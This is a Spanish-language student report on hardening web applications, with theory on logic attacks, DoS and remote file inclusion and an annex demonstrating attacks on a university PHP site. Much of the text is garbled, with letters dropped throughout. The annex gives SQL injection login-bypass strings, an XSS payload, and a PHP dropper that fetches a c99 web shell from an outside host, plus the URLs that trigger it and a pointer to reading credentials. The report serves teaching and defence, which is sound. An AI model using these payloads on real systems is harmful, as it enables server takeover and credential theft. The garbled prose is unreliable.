El buso de funcionlidd es un tecnic de tque que us ls propis cpciddes y


funcionliddes de un sitio web pr consumir, estfr o evdir mecnismos de control
de cceso.

DENEGACION DE SERVICIO

L denegcion de servicio (Denil of Service, DoS) es un tecnic de tque cuyo


objetivo es evitr que un sitio web permit l ctividd hbitul de los usurios.

ANTI-AUTOMATIZACION INSUFICIENTE
L nti-utomtizcion insuficiente se produce cundo un sitio web permite un
tcnte utomtizr un proceso que solo debe ser llevdo cbo mnulmente.

VALIDACION DE PROCESO INSUFICIENTE

L vlidcion de proceso insuficiente se produce cundo un sitio web permite un


tcnte evdir o engnr el flujo de control esperdo por l pliccion.

Pgin 29
ENDURECIMIENTO DE APLICACIONES

Ataques lgicos
Se centr en el buso o explotcion del flujo logico de un pliccion web. L logic de l
pliccion es el flujo de procedimientos esperdos pr relizr un ciert ccion. Recupercion
de contrsens, lt de un cuent, puj en substs, y comprs en comercios electronicos son,
todos ellos, ejemplos de logic de pliccion. Un sitio web puede requerir un usurio un proceso
especfico de vrios psos pr completr un ccion prticulr. Un tcnte puede ser cpz de
burlr o busr de ess crcterstics pr dnr un sitio web y sus usurios.

RFI (Remote File Inclusion), trducido l espnol como Inclusion Remot de Archivos -
vulnerbilidd existente solmente en pgins dinmics en PHP que permite el enlce de rchivos
remotos situdos en otros servidores cus de un ml progrmcion de l pgin que contiene
l funcion include().

Este tipo de vulnerbilidd no se d en pgins progrmds en ASP o en culquier otro


tipo de lenguje similr que no conteng l posibilidd de l inclusion remot de rchivos jenos
l servidor.

PREVENIR EL ATAQUE

Pr prevenir este tipo de tques, es posible utilizr o bien el indicdor "./" pr dvertir
que el rchivo debe encontrrse en el directorio ctul u otro indicdor tl como "includes/".

De est form no podr utilizr l vrible pge pr RFI.. unque nos podri hcer
vulnerbles que un tcnte incluy rchivos en el servidor donde estmos.

Ejemplos de bugs o tques rfi que mrcron l histori

El misil de Dhahran

En febrero 1991 (1 Guerr del Golfo), un misil irqu lcnzo l bse de Dhhrn en Arbi
Sud, mtndo 28 solddos estdounidenses.

Trs un investigcion, se determino que el sistem de proteccion ntiblstico de l bse


fllo por consecuenci de un bug informtico: l bter de misiles Ptriot, cuyo ppel es detectr
e interceptr los misiles enemigos pr chocr con ellos en el ire, llevb 100 hors en
funcionmiento. Cd hor que psb, el softwre que controlb dich bter redondeb los

Pgin 30
ENDURECIMIENTO DE APLICACIONES

vlores del reloj digitl de un form mnim. Sin embrgo, este error mnimo hizo que se
cumulr un retrso de de segundo l cbo de dichs 100 hors.

Pr un person, 0.33 segundos son un cntidd infinitesiml; pero pr un rdr que


trt de loclizr un misil Scud Al Hussein cuy velocidd lcnz Mch 4.2 (1.5 Km por por
segundo), este micro-retraso supone 600 metros de error. En el cso del incidente de Dhhrn, el
rdr identifico en un primer instnci un objeto en el cielo pero no lo pudo confirmr debido l
error, por lo que el misil ntiblstico no se dispro.

Pgin 31
ENDURECIMIENTO DE APLICACIONES

En metros o en pies? El caso del Mars Climate Orbiter

Tryectori previst -vs- Tryectori rel

L sonda Mars Climate Orbiter fue lnzd en el no 1998 con el objetivo de estudir el
clim en Mrte, si bien, est nunc logro cumplir su mision.

Trs vrios meses vijndo por el espcio, l sond se destruyo por cus de un error de
nvegcion: los equipos que controlbn l sond desde l Tierr usb prmetros en uniddes
Imperiles (Sistem Anglosjon de Uniddes) mientrs que los clculos se relizbn en el sistem
con el sistem metrico deciml. Estos errores de clculo fueron impctndo l tryectori lo lrgo
de los ds y, finlmente, l sond quedo destruid l psr por l tmosfer de Mrte (con csi 100
km de error).

Pgin 32
ENDURECIMIENTO DE APLICACIONES

ABUSO DE FUNCIONALIDAD
El buso de funcionlidd es un tecnic de tque que us ls propis
crcterstics y funcionlidd de un sitio web pr consumir, defrudr, o burlr los
mecnismos de control de cceso. Un funcionlidd de un sitio web, incluso
posiblemente crcterstics de seguridd, puede ser busd pr cusr un
comportmiento inesperdo. Cundo un prte de l funcionlidd se encuentr biert
l buso, un tcnte podr potencilmente molestr otros usurios o quizs llevr
cbo un frude sobre el sistem completo. El potencil y el nivel de buso vrir de un
sitio web otro y de un pliccion

otr.

Ls tecnics de buso de funcionlidd menudo son entrelzds con otrs


ctegors de tques de pliccion web, tles como l relizcion de un tque de
codificcion pr introducir un cden de consult que conviert un funcion de
busqued web en un proxy web remoto. Los tques de buso de funcionlidd son
tmbien usdos comunmente como un fuerz multiplicdor. Por ejemplo, un tcnte
puede inyectr un frgmento de Cross-site Scripting en un sesion de cht web y entonces
usr l funcion intern de envo pr propgr el codigo mlicioso trves del sitio.

De un mner generic, todos los tques efectudos contr sistems bsdos en


ordendor implicn csos de buso de funcionlidd. Especficmente, est definicion
describe un tque que h convertido un pliccion web con un proposito util en un
proposito mlicioso con poc o ningun modificcion de l funcion originl.

DENEGACION DE SERVICIO

L denegcion de servicio (DoS) es un tecnic de tque con l intencion de


impedir que un sitio sirv l ctividd hbitul los usurios. Los tques DoS, que
resultn fcilmente plicbles en l cp de red, son tmbien posibles en l cp de
pliccion. Estos tques mliciosos pueden ocurrir privndo un sistem de recursos
crticos, explotndo vulnerbiliddes o medinte un buso de funcionlidd.

Pgin 33
ENDURECIMIENTO DE APLICACIONES

Muchs veces los tques DoS intentrn consumir todos los recursos disponibles
del sistem tles como: CPU, memori, espcio de disco, etc. Cundo uno de esos recursos
lcnce un consumo mximo, el sitio web normlmente psr estr inccesible.

Hoy en d, todos los entornos de pliccion web incluyen un servidor web,


servidor de bse de dtos y un servidor de utenticcion. Un tque DoS en l cp de
pliccion puede tener como objetivo cd uno de esos componentes independientes. A
diferenci de un tque DoS en l cp de red, donde se requieren un grn numero de
intentos de conexion, el tque DoS en l cp de pliccion es un tre mucho ms
simple de relizr.

Pgin 34
ENDURECIMIENTO DE APLICACIONES

ANTI-AUTOMATIZACION INSUFICIENTE

L nti-utomtizcion insuficiente se produce cundo un sitio web permite un


tcnte utomtizr un proceso que solo deber llevrse cbo de form mnul.
Cierts funcionliddes de sitios web debern ser protegids contr tques utomticos.

No vlidndo esto, robots utomticos (progrms) o tcntes podrn


repetidmente intentr explotr o engnr el sistem. Un robot utomtico
potencilmente podr ejecutr miles de peticiones por minuto, cusndo perdid de
potenci o del rendimiento del servicio.

Por ejemplo un robot utomtizdo, no deber ser cpz de vlidr diez mil nuevs
cuents en unos pocos minutos. Similrmente, robots utomtizdos no debern ser
cpz de molestr otros usurios con mensjes repetidos en foros. Ests operciones
debern estr limitds solo pr el uso humno.

VALIDACION DE PROCESO INSUFICIENTE

L vlidcion de proceso insuficiente se produce cundo un sitio web permite un


tcnte sltr o evdir el flujo de control previsto de un pliccion. Si el estdo de un
usurio trves de un proceso, no es verificdo ni reforzdo, el sitio web podr ser
vulnerble l explotcion o el engno.

Cundo un usurio reliz un ciert funcion de un sitio web, l pliccion puede


esperr que el usurio nvegue trves de ell en un orden de secuenci especfico. Si el
usurio reliz ciertos psos incorrectmente o fuer del orden estblecido, puede ocurrir
un error en l integridd de los dtos. Ejemplos de procesos multi-pso incluyen
trnsferenci por cble, recupercion de contrsens, vlidcion de comprs, lt de
cuents, etc. Estos procesos requerirn que ciertos psos se lleven cbo tl y como se
espern.

Pr que los procesos multi-pso funcionen propidmente, los sitios web se les
requiere mntener el estdo del usurio, y como nveg este trves de los flujos del
proceso. Los sitios web normlmente indicn el estdo del usurio trves del uso de

Pgin 35
ENDURECIMIENTO DE APLICACIONES

cookies o cmpos ocultos de formulrio. Sin embrgo, cundo el identificdor es


lmcendo en l prte cliente dentro del nvegdor web, l integridd de los dtos debe
ser verificd. Si no, un tcnte podr ser cpz de sorter el esperdo flujo del trfico
lterndo el estdo ctul.

Pgin 36
ENDURECIMIENTO DE APLICACIONES

CONCLUSIONES

1. Ls forms de poder tcr y cceder ordendores jenos son muchs, hoy en d los

dministrdores de sistems son los encrgdos de proteger l seguridd de un

pliccion web, y cd uno de los usurios son quienes deben protegerse de los

tques jenos.

5. Desde el preciso instnte en que es posible relizr trnsferencis de rchivos, se puede

difundir por l red todo tipo de rchivos infectdos con virus, lo cul suele suceder

cundo se descrg rchivos de pgins de dudoso contenido, es necesrio tomr

precuciones pr evitr posibles contgios (ntivirus).

6. Pese todo lo que estmos mencionndo de los prentes peligros de internet, tiene que

quedr clro que nvegr por internet no es peligroso, ni se corre ningun riesgo l hcerlo.

Muchs de ls situciones peligross se pueden evitr plicndo un mnimo de sentido

comun.

7. L ide principl de este tem fue dr conocer que internet est plgd de pesdills

pr nuestros ordendores, que no son necesrimente los virus lo que ms hy que

temer como muchos piensn, y tmpoco deben sustrnos tnto los cbllos de Troy,

sino ls plicciones mlintencionds que se esconden en lgunos progrms

comerciles y sobre todo los que son cpces de crer estos progrms

Pgin 37
ENDURECIMIENTO DE APLICACIONES

APLICACION Y ANEXOS
I. ATAQUE DE INYECCIN SQL
ARCHIVO: UPLA/index.php

1.1 ) CODIGO VERSION 01


El cdigo de login esta implementado de esta manera

$consult = "SELECT * FROM gx_user WHERE dni = '" . $usurio . "' AND `contrsen` = '" .
$contrsen . "'";

Intentaremos crear internamente la siguiente consulta


SELECT * FROM gx_user WHERE dni = 'asdf' OR 'a'='a' AND contrasena = 'asdf'
OR 'a'='a'

Para ello ingresamos en el campo usuario y clave la siguiente cadena

Pgin 38
ENDURECIMIENTO DE APLICACIONES

Pgin 39
ENDURECIMIENTO DE APLICACIONES

1.2 CODIGO VERSION 02


El cdigo de login esta implementado usando una funcin de encriptacin.

$consult = "SELECT * FROM gx_user WHERE dni = '" . $usurio . "' AND `contrsen` = MD5('" .
$contrsen . "')";

Si intentamos con la tcnica anterior no nos dar buenos resultados.

Pgin 40
ENDURECIMIENTO DE APLICACIONES

Intentaremos crear internamente la siguiente consulta

SELECT * FROM gx_user WHERE dni = 'asdf' OR 'a'='a'#. "' AND `contrasena` = MD5('" . $contrasena .
"')";

Para ello ingresamos en el campo usuario y clave la siguiente cadena

Pgin 41
ENDURECIMIENTO DE APLICACIONES

1.3 CODIGO VERSION 03

Usar mecanismos de sentencias parametrizadas.

El cdigo de login esta implementado de esta manera

Pgin 42
ENDURECIMIENTO DE APLICACIONES

$consult = "SELECT * FROM gx_user WHERE dni = :dni AND contrsen = MD5(:contrsen)";

$pstm = $conn->prepre($consult);

$pstm->bindPrm(':dni',$usurio,PDO::PARAM_STR);

$pstm->bindPrm(':contrsen',$contrsen,PDO::PARAM_STR);

$pstm->execute();

$resultdo = $pstm->fetchAll();

Intentamos realizar el mismo ataque:

Pgin 43
ENDURECIMIENTO DE APLICACIONES

II. ATAQUE XSS (CROSS-SITE SCRIPTING)

ARCHIVO:

UPLA/contrato/ sql_insert_resolucion_consejo_universitario

UPLA/contrato/ listar_resoluciones_consejo_universitario.php

2.1 Cdigo versin 01


Cdigo del archivo para capturar las entradas del usuario

Pgin 44
ENDURECIMIENTO DE APLICACIONES

$numero_resolucion=$_POST["numero_resolucion"];

Ingresamos el siguiente Payload en el formulario

<script>alert("sistema atacado");</script>

En la base de datos se almacena el script tal se introdujo en el formulario.

Pgin 45
ENDURECIMIENTO DE APLICACIONES

2.2 Cdigo versin 02


Solucin: sanitizacin, para el caso de php tenemos la funcin strip_tags que elimina las etiquetas
html: <etiqueta>

Cdigo del archivo para capturar las entradas del usuario

$numero_resolucion=strip_tgs($_POST["numero_resolucion"]);

Ingresamos el siguiente Payload en el formulario nuevamente

<script>alert("sistema atacado");</script>

Pgin 46
ENDURECIMIENTO DE APLICACIONES

En la base de datos se almacena sin las etiquetas html.

Pgin 47
ENDURECIMIENTO DE APLICACIONES

III. ATAQUE RFI (REMOTE FILE INCLUSION)

ARCHIVO:

UPLA/contrato/ sql_insert_resolucion_consejo_universitario

UPLA/contrato/ listar_resoluciones_consejo_universitario.php

UPLA/info.php

3.1 Obtener una Shell en php.


http://www.r57.gen.tr/

Pgin 48
ENDURECIMIENTO DE APLICACIONES

Para el ejemplo descargaremos el archivo: c99.php

Pgin 49
ENDURECIMIENTO DE APLICACIONES

3.2 Creamos un cdigo sencillo que permite copiar nuestra Shell al sitio web de la vctima, pero
con la extensin php.

A este archivo le daremos el nombre de evil.txt (ntese la extensin)

<?php
$z=fopen('./shell.php','w');fwrite($z,file_get_contents('http://pruebtesting.000webhostpp.co
m/tque/c99.txt'));fclose($z);

?>

3.3 Subimos estos 2 archivos a un servidor:

Pgin 50
ENDURECIMIENTO DE APLICACIONES

La URL para acceder a estos archivos es: http://pruebatesting.000webhostapp.com/ataque/

3.4 Examinemos el diseo del sitio vulnerable.

Pgin 51
ENDURECIMIENTO DE APLICACIONES

Vemos que estamos usando mtodo get y usando como parmetros un archivo php
http://localhost/upla/info.php?page=mision.php

http://localhost/upla/info.php?page=vision.php

3.5 Para realizar el ataque usaremos el siguiente enlace en el navegador:


http://loclhost/upl/info.php?pge=http://pruebtesting.000webhostpp.com/tque/evil.txt

Pgin 52
ENDURECIMIENTO DE APLICACIONES

3.6 Con esto lo que logramos es crear un archivo llamado Shell.php que contiene el contenido del
archivo c99.txt y lo almacenamos en la raz del sitio web de la victima.

3.7 Por ultimo ejecutamos el archivo: Shell.php para poder manipular el servidor de la vctima.

http://loclhost/upl/shell.php

Pgin 53
ENDURECIMIENTO DE APLICACIONES

Podemos empezar por leer archivos de configuracin o credenciales.

3.8 Versin mejorada del cdigo.

Pgin 54
ENDURECIMIENTO DE APLICACIONES

3.9 Otra buena medida de seguridad es desactivar la directiva allow_url_open en el archivo de


configuracin php.ini ya que si est activada permite tratar la URL como acceso a un fichero:

allow_url_fopen = off

al intentar volver a atacar con la URL anterior tendramos el siguiente mensaje:

Pgin 55
ENDURECIMIENTO DE APLICACIONES

Pgin 56

Vous aimerez peut-être aussi